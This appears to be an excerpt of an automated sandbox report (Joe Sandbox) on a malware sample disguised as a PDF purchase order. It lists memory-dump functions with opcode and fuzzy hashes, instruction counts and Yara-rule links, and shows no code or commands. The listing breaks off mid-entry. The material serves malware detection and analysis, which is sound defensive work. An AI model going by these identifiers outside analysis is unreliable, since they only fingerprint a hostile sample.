Opcode ID: e986e91181b01bc40f11320039d02efc17f25689ce18d30ec027cb45e234df0e
Instruction ID: cdbb0ea92839010afd41c4df116a220814d4ed59c59bdc9361de3cbcc9950805
Opcode Fuzzy Hash: e986e91181b01bc40f11320039d02efc17f25689ce18d30ec027cb45e234df0e
Instruction Fuzzy Hash: 1A718F31608655CFC715CF28C8D896A7BB1FF46312B168499FC699F2A2C731EC89CB91

Function 00158A4B Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28f2feaaa03d001162e093b745a449ec41fe0b9ffd676a9312abc86fcc6df418
Instruction ID: 823cd0c208886491d91b6b5643fe8088f1e5936db696d81dd382aa46b79baccb
Opcode Fuzzy Hash: 28f2feaaa03d001162e093b745a449ec41fe0b9ffd676a9312abc86fcc6df418
Instruction Fuzzy Hash: F2712930A05245CFCB12CF28C8805AABBF5FF45311B1585A6D865EF362D731ED5ACBA1

Function 3593FAB0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f033df561d24cd8464b47272bcacea292393a3fe3d39e5ae792c82e568fb193d
Instruction ID: 3a3cee08540eba0bea05622d1359d2d8d7589754ae2610fd75ecc46f0ff9c6f2
Opcode Fuzzy Hash: f033df561d24cd8464b47272bcacea292393a3fe3d39e5ae792c82e568fb193d
Instruction Fuzzy Hash: 71712875A41219CFDB15DFB5C9A999DBBF2FF88340F10852AE406AB350DB389982CF41

Function 3593C4CF Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da171c2ec2eaf73a5be4cc246ac6453b7752d3c8685648284d9a94a0acbbd104
Instruction ID: 4c01a80bbfcc3c601bc873c235c9e6f97d7b371dcaae262f4414047375d7c842
Opcode Fuzzy Hash: da171c2ec2eaf73a5be4cc246ac6453b7752d3c8685648284d9a94a0acbbd104
Instruction Fuzzy Hash: CF616E74A00218CFDB25DF65CA54BADBBB6FF48300F10889A990A77765CB395D82DF44

Function 359396C0 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d6c6661afe36d45f41803251e4b31d150f33a54a90737bdd1ba96870ac6d88c
Instruction ID: b7a7263cc3dfa130956d7b37b242bc8cbd13b70dabc9cc6891304f0d729180c8
Opcode Fuzzy Hash: 5d6c6661afe36d45f41803251e4b31d150f33a54a90737bdd1ba96870ac6d88c
Instruction Fuzzy Hash: 6C713B70905298DFEF15CF69C888B99BBB2BF8A304F1084EAD04DBB211D7311A85CF12

Function 35937920 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aef5d1bc41e5b1fee9dbd8298d1dbc98afc89fa77f190e7358a25b6ccf54491
Instruction ID: 2fba036e1c33341e2869fd0e100cba52140dd23b83899fda260458e0c4089a1b
Opcode Fuzzy Hash: 8aef5d1bc41e5b1fee9dbd8298d1dbc98afc89fa77f190e7358a25b6ccf54491
Instruction Fuzzy Hash: E7512274D01318CFDB14DFA5D994AAEBBB6FF88304F208529D809AB355DB395A4ACF40

Function 3593CC28 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9be69f6b677a97f97c299c220d51cfe59dec0cde1a3380756c99a2d9bad41b6f
Instruction ID: 1162167ce341307a2fb8bb4af1c5b2f7f49ae7a6c04c0b6acbaece9a8b1220fe
Opcode Fuzzy Hash: 9be69f6b677a97f97c299c220d51cfe59dec0cde1a3380756c99a2d9bad41b6f
Instruction Fuzzy Hash: 4951A274E00218DFDB54DFA9C990ADDBBB6FF89300F208169D819AB365DB356946CF40

Function 00153168 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49a67ad7a89b78f4c0d3ead6a472877200704388d64ac9b8dd5b180f1a4a3a56
Instruction ID: 26f8891387cf092d9aa0c9e27e73c0de26992adee4df46a808f3e95d93091e5f
Opcode Fuzzy Hash: 49a67ad7a89b78f4c0d3ead6a472877200704388d64ac9b8dd5b180f1a4a3a56
Instruction Fuzzy Hash: DC51A274E01208DFCB08DFA9D58499DBBF2FF89305B208469E819BB364DB35A946CF50

Function 35938721 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2234f491c23b8b5ad278b780735fc6dc9f60a838835022ae2b2a92ff60926604
Instruction ID: 0072ffe20efba0d952aca875c45ad491a7692398189030c48e535220b526b13f
Opcode Fuzzy Hash: 2234f491c23b8b5ad278b780735fc6dc9f60a838835022ae2b2a92ff60926604
Instruction Fuzzy Hash: CD519D74D02228CFDB64DF64C984BEDBBB2BB49305F1055A9D409AB350DB39AA86CF50

Function 001592C3 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56579f536df84f5fa03c3149d43573340bd8de62cbcf42597d35788d01ae1a9d
Instruction ID: c0e75602fa4919f6e62137c65043086236a14ee8ba57923d71d03fd96022db1d
Opcode Fuzzy Hash: 56579f536df84f5fa03c3149d43573340bd8de62cbcf42597d35788d01ae1a9d
Instruction Fuzzy Hash: 7E517B31A04249DFCF15CFA4C984A9EBFB2BF49311F048156EC259F2A2D334AD59CB52

Function 00158BF0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 751ace0d219cc69c651604b9a262a28ce58fe3b37101acbd68561415b14ebf0f
Instruction ID: a6bf084eeb09500e4cd9ae80c423ccd476c92e5786563f0838b9284bf1665dcb
Opcode Fuzzy Hash: 751ace0d219cc69c651604b9a262a28ce58fe3b37101acbd68561415b14ebf0f
Instruction Fuzzy Hash: C6419E30601245CFDB01DF28C884BAA7BE6EF89305F148066ED28DF266DB71DD49CBA1

Function 00154620 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 842bee9012142abed8e19d06a250e21ae3944d257654305791df5ef38a3a14d3
Instruction ID: 80a70243dd953a8d5d662572846a498408c8c91e6cef8cb08dd8682807c014ca
Opcode Fuzzy Hash: 842bee9012142abed8e19d06a250e21ae3944d257654305791df5ef38a3a14d3
Instruction Fuzzy Hash: 2231A331204109DFCF05AF64D955BAE3BB2EF89305F108024FD199B255CB35DEA5DBA0

Function 35939D09 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e47e355a4b7311b9437fd7b5f35d8319417e3fdfcea7990312bd4888b211a556
Instruction ID: 1e92d35341fdadf90025cab54b769ddb63356ab15227127a2d5c2725b014dfb2
Opcode Fuzzy Hash: e47e355a4b7311b9437fd7b5f35d8319417e3fdfcea7990312bd4888b211a556
Instruction Fuzzy Hash: 6E416E709496949FEF45CF69C848788FFB2BF8A214F1480EAD05CAF125D7721A95CF12

Function 3593A358 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5605eec06805ac200430b35c1df5715df6ab842f3e02465cd061f3a0508372ac
Instruction ID: aee53d9dfad8b3951f2760774b06a4f61a5319b07aa065d5fcbbe2d252fe74ee
Opcode Fuzzy Hash: 5605eec06805ac200430b35c1df5715df6ab842f3e02465cd061f3a0508372ac
Instruction Fuzzy Hash: A0416D709096949FEF46CF69C848788BFB2FF8A214F1490EAD05CAF125D7721A95CF12

Function 00156F30 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca17ffd7a1ac9406c804a4e429d15ef1b5114b3faac7f7667efc02b965a29b80
Instruction ID: 0a1e34d38e9add87c867f4ef516b9f5838d3cb4726be44f95791723b1d477a50
Opcode Fuzzy Hash: ca17ffd7a1ac9406c804a4e429d15ef1b5114b3faac7f7667efc02b965a29b80
Instruction Fuzzy Hash: 2F213730308240CFDB160735E89593E3AE6AFC631A714407AE816CF6E5EB26CC4AD381

Function 3593CF68 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fe55024d853b7d809c58216121f9722d27ebfe0bd7fd86c544328f3e153d4ae
Instruction ID: 1f8358143a1a6250b11c4cbab52cf1e17577108e28964f1a994ec86e8f418a85
Opcode Fuzzy Hash: 7fe55024d853b7d809c58216121f9722d27ebfe0bd7fd86c544328f3e153d4ae
Instruction Fuzzy Hash: 3731F5B4B06701CBDB28CF76C4616AEBBFAAF88740F40846DC442A7250DF31E806CB60

Function 00156F40 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41e16e98eb664ac4b7bd5fd8bbac6f95a1a2fe90ac16cf85f0be5c2e246316a9
Instruction ID: 2359ea4d2d3c498e4247343b9059851475b42ca7854d359ef51f2ea86077fc45
Opcode Fuzzy Hash: 41e16e98eb664ac4b7bd5fd8bbac6f95a1a2fe90ac16cf85f0be5c2e246316a9
Instruction Fuzzy Hash: B721B2303081008BDB151725E895A3A31D69FD575AF648439E916CF7D8EF76CC8A9391

Function 3593CF59 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a32c53e72d1c9fb6032516b164fa32afe2e6373e92a02d52c1719ecfcaffd944
Instruction ID: b0eaf7ceebba9d066320a82bc64001f49cfc28e5e0006b0cf6bab6d45506c546
Opcode Fuzzy Hash: a32c53e72d1c9fb6032516b164fa32afe2e6373e92a02d52c1719ecfcaffd944
Instruction Fuzzy Hash: 8421D2B4B05701CBDB28CF76C5616EEBBF6AF88740F54846EC542A3690DB30A906CB60

Function 001518C8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 516a043b81e40fa2db86519f92111d77844b9e1c7fdf4e911b57f8cfb4126158
Instruction ID: 4dfa16cf74a6d06b1aa294f057f7db758cfae880003788af42c00b242bb8c280
Opcode Fuzzy Hash: 516a043b81e40fa2db86519f92111d77844b9e1c7fdf4e911b57f8cfb4126158
Instruction Fuzzy Hash: 6A219035A00106EFCB15DF64C450AAE77A5EF99368B15C019DD1DAF240EB34EE0ACBD2

Function 001552C8 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef53824f33a24f596a627678aa988a589be1536d8ce3b8dd03cf12ee819bb7b2
Instruction ID: d1fe91626d4c4fb977a232d71bb98430aea8ff8e3bf908c768b02f39b1b17dc8
Opcode Fuzzy Hash: ef53824f33a24f596a627678aa988a589be1536d8ce3b8dd03cf12ee819bb7b2
Instruction Fuzzy Hash: 2921DE31304A11CFC7199B69D8A8A2EB7A2FF857927154039E82EDF754CF70DC068B90

Function 00151776 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea4a0f45960a6904f9d06222acf492df04355a3aff2cfd739953e3749f08ec32
Instruction ID: 4f4fbdd7692fb13149cea892ec5f8b09c4eaf4e9c9a2eeb43c40ba4451b1f968
Opcode Fuzzy Hash: ea4a0f45960a6904f9d06222acf492df04355a3aff2cfd739953e3749f08ec32
Instruction Fuzzy Hash: 29217E35C0520ACFCB02DFB8C8446EDBBB1EF59311F24451AC964BB260E7305989CB91

Function 35937922 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ba996b6b7698e84201ce1a2daa8192f481a2b217380641f0acaf992609c6a6e
Instruction ID: 012cb6584c877d9e778a56876a85b7d6b3078550c55480c01b690b0f0be91402
Opcode Fuzzy Hash: 4ba996b6b7698e84201ce1a2daa8192f481a2b217380641f0acaf992609c6a6e
Instruction Fuzzy Hash: 8021F370D02318DEEB04CFA1D8547EEBBB2BF89304F50842AD415BB240DB755A8ACF51

Function 000AD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289056860.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66c8d1b79e01aab9e849613edb078969c8299ff26d3e00faaf95ffd91c129ee6
Instruction ID: 4b6f13a089f6249cbcb38e2d4197603762cba84cef99b2fcabe0e6ea360e0ef2
Opcode Fuzzy Hash: 66c8d1b79e01aab9e849613edb078969c8299ff26d3e00faaf95ffd91c129ee6
Instruction Fuzzy Hash: 0A21F271604204EFCB24DFA4D980F26BBA5EB89314F24C56AD94A4B656C33AD846CA62

Function 00150EC8 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e294c9d4c47a6ef88bfab0ace8e2ccc2fa8ca7a5846abaefcc084bab05a3f728
Instruction ID: 7040e2c3b315009c83848c01721e36be4c1e9bba57220df5da0e8d5e0336e830
Opcode Fuzzy Hash: e294c9d4c47a6ef88bfab0ace8e2ccc2fa8ca7a5846abaefcc084bab05a3f728
Instruction Fuzzy Hash: A121B230E042089FCB06EFB9C4006AEBBB6EF8A305F1080AA98549B295DB795D49CF51

Function 0015324D Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7885592ebe49503dfcb781a1d32dbd5a113e2d74b1389d10e2991be215d5708f
Instruction ID: 40860580667861cdd1d7182369687d5c144be44e407811824740d6eccbd10929
Opcode Fuzzy Hash: 7885592ebe49503dfcb781a1d32dbd5a113e2d74b1389d10e2991be215d5708f
Instruction Fuzzy Hash: 54319278E11208DFCB44DFA8D5948ADBBB2FF49305B218069E819AF364D735AD46CF40

Function 0015461D Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0bd21bba5f765819619a8a54be5ed6f4beed6c3dce49bcaa8af73287e9942ea
Instruction ID: 5549c37a164f77b07934f29872fac95fa95cbc59f87f180e18ba1477219c5d7c
Opcode Fuzzy Hash: b0bd21bba5f765819619a8a54be5ed6f4beed6c3dce49bcaa8af73287e9942ea
Instruction Fuzzy Hash: 1521D231604109DFCF15AF64D5557AE3BB1EF85309F204028FC199B259CB34CE99DBA0

Function 00158729 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3833fe3bf83c943d49745f970d5123a52a12b47ede6ffc2c74d29795e5374e74
Instruction ID: 1cfe220b43a09a0c345abd8eb0b08d68c741b7881282225686c1d5b4f3559edb
Opcode Fuzzy Hash: 3833fe3bf83c943d49745f970d5123a52a12b47ede6ffc2c74d29795e5374e74
Instruction Fuzzy Hash: 47213D74A01249DFCB05DFA5D650AEDBFB6EF48301F248069E825F7290DB34D985DB60

Function 0015FE60 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e8f0583b5d9821511ebbb275f523754c9224237e7bb0493464d378209fdd904
Instruction ID: 3650785195f13feaa166377da134a28efe509bfbba98ffd8b5e0be6e92422b68
Opcode Fuzzy Hash: 7e8f0583b5d9821511ebbb275f523754c9224237e7bb0493464d378209fdd904
Instruction Fuzzy Hash: A921F574E04209CFCB04CFA8D585AADBBF1FF4A311F1044AAD455AB361D7349E48CB91

Function 35937911 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be6e185e5698bad08e35f5de30bfaff0fd0339894de53bfbdd3b7e5a9c07404e
Instruction ID: 67ed1266c377e47b972c37ab0437aca5e0e3029292f293355c0f82e5b51a2e86
Opcode Fuzzy Hash: be6e185e5698bad08e35f5de30bfaff0fd0339894de53bfbdd3b7e5a9c07404e
Instruction Fuzzy Hash: C121CF71D02319DFEB04CFA1D8946DEBBB2BF49304F50882AD419BB240DB755686CF51

Function 35937914 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53cd7a14a71036ab6551b18cafe3eff1b209fbca2ed8503a30cd36ab45c5b710
Instruction ID: 41fe6b6aaafffe3c00e58f0151fcc946d2d6f17e0d1415c9ca2a7424a7a328b1
Opcode Fuzzy Hash: 53cd7a14a71036ab6551b18cafe3eff1b209fbca2ed8503a30cd36ab45c5b710
Instruction Fuzzy Hash: F4210270D06319DEEB10DFA0D8957EEBBB5AF09304F50482AE405BB240DB795686CF51

Function 001552C0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 080be9a32319a44f37115b6c681ab155c358f9a53d1c9e96a869f33d61a9bac9
Instruction ID: 73d34083d44ac317bacc7a4c5f80f6c5c1a11a1584195b29e9bcab999687e639
Opcode Fuzzy Hash: 080be9a32319a44f37115b6c681ab155c358f9a53d1c9e96a869f33d61a9bac9
Instruction Fuzzy Hash: 5B11A035305A11DFC7199B36D8A8A2E77A2FF857923190078E81ADF760DF70DC468790

Function 0015B2C8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e269c8e9fb2e94a49021fd272ed8c69f0ef1a1b75a4552407b355ff2ed75bd2e
Instruction ID: e1233622773c8329950b14945e076288df0cf0484fb94fe8eaedea498ce07255
Opcode Fuzzy Hash: e269c8e9fb2e94a49021fd272ed8c69f0ef1a1b75a4552407b355ff2ed75bd2e
Instruction Fuzzy Hash: 26010836B082014FDB559F35489852E7BF6AF8861930444BED94ADB215FF60C8098742

Function 001517B8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0df6b3298bec5bbd6da3364b83b01957bd9bab8ff0318b31ade756899476f8ff
Instruction ID: e818c570880c0e239ab99647d70ee5549ada4eba4008aaa43afce9ea475eeb01
Opcode Fuzzy Hash: 0df6b3298bec5bbd6da3364b83b01957bd9bab8ff0318b31ade756899476f8ff
Instruction Fuzzy Hash: 1E21E470D0560ACFCB01DFA8D9545EEBFF0EF4A300F14416AD819BB261EB345A89CBA1

Function 3593B9C8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48b32275f1cb8c7e6181d2d094df9b3c981862f10b835724b5b29482740ebc73
Instruction ID: 9e8880288a72eba03abdd175cd1318d4db52cde68ffe90b97ecbe4b5d9f87821
Opcode Fuzzy Hash: 48b32275f1cb8c7e6181d2d094df9b3c981862f10b835724b5b29482740ebc73
Instruction Fuzzy Hash: F121DE78D01209DFCB00DFA5C5596AEBBF1FF48301F108829D815B32A0DB789A86CB90

Function 0015B2E0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 781b00ee42c1c0343675a4dc842f1c5ecdaed50f26539da17954ecc38fa56c6c
Instruction ID: d5495a44d126e90e2a26c138c99635305333441d3aa44c75fe3ab62ffa65a0d0
Opcode Fuzzy Hash: 781b00ee42c1c0343675a4dc842f1c5ecdaed50f26539da17954ecc38fa56c6c
Instruction Fuzzy Hash: BE012236B083018FDB159F79489462E7BFBAF8461531544BEC84ADB221FF70CC0A8752

Function 000AD02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289056860.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03eaf8a4334ce06a06af18b89caff828b05e34beddbd90a58a88570bb971307e
Instruction ID: 73944a564c1417d810b40fcea04bbbb6e418c2d807b7d868b6c4ed50261e12e5
Opcode Fuzzy Hash: 03eaf8a4334ce06a06af18b89caff828b05e34beddbd90a58a88570bb971307e
Instruction Fuzzy Hash: 4211DD75504280DFCB12CF54D5C4B15FFB2FB89314F28C6AAD84A4BA56C33AD84ACB62

Function 00154E5F Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
